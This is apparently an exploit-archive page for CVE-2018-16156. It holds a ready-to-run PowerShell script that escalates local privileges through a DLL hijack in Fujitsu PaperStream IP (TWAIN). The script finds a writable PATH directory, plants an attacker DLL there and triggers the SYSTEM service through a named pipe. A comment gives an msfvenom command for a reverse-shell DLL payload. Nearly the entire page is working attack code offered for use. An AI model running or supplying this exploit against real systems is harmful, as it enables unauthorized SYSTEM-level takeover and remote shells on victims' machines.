paperstream ip (twain) 1.42.0.5685 local privilege escalation

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paperstream ip (twain) 1.42.0.5685 local privilege escalation Code Code...
				
# Exploit Title: PaperStream IP (TWAIN) 1.42.0.5685 - Local Privilege Escalation # Exploit Author: 1F98D # Original Author: securifera # Date: 12 May 2020 # Vendor Hompage: https://www.fujitsu.com/global/support/products/computing/peripheral/scanners/fi/software/fi6x30-fi6x40-ps-ip-twain32.html # CVE: CVE-2018-16156 # Tested on: Windows 10 x64 # References: # https://www.securifera.com/advisories/cve-2018-16156/ # https://github.com/securifera/CVE-2018-16156-Exploit # A DLL hijack vulnerability exists in the FJTWSVIC service running as part of # the Fujitsu PaperStream IP (TWAIN) software package. This exploit searches # for a writable location, copies the specified DLL to that location and then # triggers the DLL load by sending a message to FJTWSVIC over the FjtwMkic_Fjicube_32 # named pipe. $ErrorActionPreference = "Stop" # Example payload generated as follows # msfvenom -p windows/x64/shell_reverse_tcp -f dll -o shell.dll LHOST=eth0 LPORT=4444 $PayloadFile = "C:\Windows\Temp\UninOldIS.dll" if ((Test-Path $PayloadFile) -eq $false) { Write-Host "$PayloadFile not found, did you forget to upload it?" Exit 1 } # Find Writable Location $WritableDirectory = $null $Path = (Get-ItemProperty -Path "Registry::HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Environment" -Name "PATH").path $Path -Split ";" | % { try { [IO.File]::OpenWrite("$_\x.txt").close() Remove-Item "$_\x.txt" $WritableDirectory = $_ } catch {} } if ($WritableDirectory -eq $null) { Write-Host "No writable directories in PATH, FJTWSVIC is not exploitable" Exit 1 } Write-Host "Writable location found, copying payload to $WritableDirectory" Copy-Item "$PayloadFile" "$WritableDirectory\UninOldIS.dll" Write-Host "Payload copied, triggering..." $client = New-Object System.IO.Pipes.NamedPipeClientStream(".", "FjtwMkic_Fjicube_32", [System.IO.Pipes.PipeDirection]::InOut, [System.IO.Pipes.PipeOptions]::None, [System.Security.Principal.TokenImpersonationLevel]::Impersonation) $reader = $null $writer = $null try { $client.Connect() $reader = New-Object System.IO.StreamReader($client) $writer = New-Object System.IO.StreamWriter($client) $writer.AutoFlush = $true $writer.Write("ChangeUninstallString") $reader.ReadLine() } finally { $client.Dispose() } Write-Host "Payload triggered"


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